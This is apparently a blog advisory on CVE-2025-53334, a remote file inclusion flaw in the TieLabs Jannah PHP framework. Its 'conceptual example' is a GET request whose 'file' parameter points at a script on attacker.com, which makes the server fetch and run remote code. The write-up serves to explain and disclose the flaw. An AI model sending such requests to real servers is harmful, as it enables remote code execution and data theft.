Overview
This blog post focuses on the recently identified vulnerability, CVE-2025-53334. This critical security flaw is present in the PHP-based TieLabs Jannah framework, affecting versions up to 7.4.1. The vulnerability arises due to improper control of the filename in include/require statements within PHP code known as ‘PHP Remote File Inclusion’. This vulnerability is especially significant because it exposes systems to potential compromise, including data breaches, affecting all entities using the affected versions of the TieLabs Jannah framework.

How the Exploit Works
The vulnerability CVE-2025-53334 exploits the PHP Remote File Inclusion function in TieLabs Jannah framework. The flaw lies in how the framework handles include/require statements in PHP code. When improperly controlled, an attacker can manipulate these statements to include arbitrary files from remote servers. This allows the attacker to execute arbitrary PHP code on the victim’s server, potentially compromising the system and leading to data leakage.
Conceptual Example Code
Consider the following conceptual example, where an attacker exploits this vulnerability by sending a specially crafted request:
GET /index.php?file=http://attacker.com/malicious_script.txt HTTP/1.1
Host: vulnerable.example.comIn this example, the attacker has manipulated the ‘file’ parameter to include a malicious script hosted on their server (`attacker.com`). When this request is processed by the server, it includes the malicious script in the server’s PHP execution context, leading to arbitrary code execution.
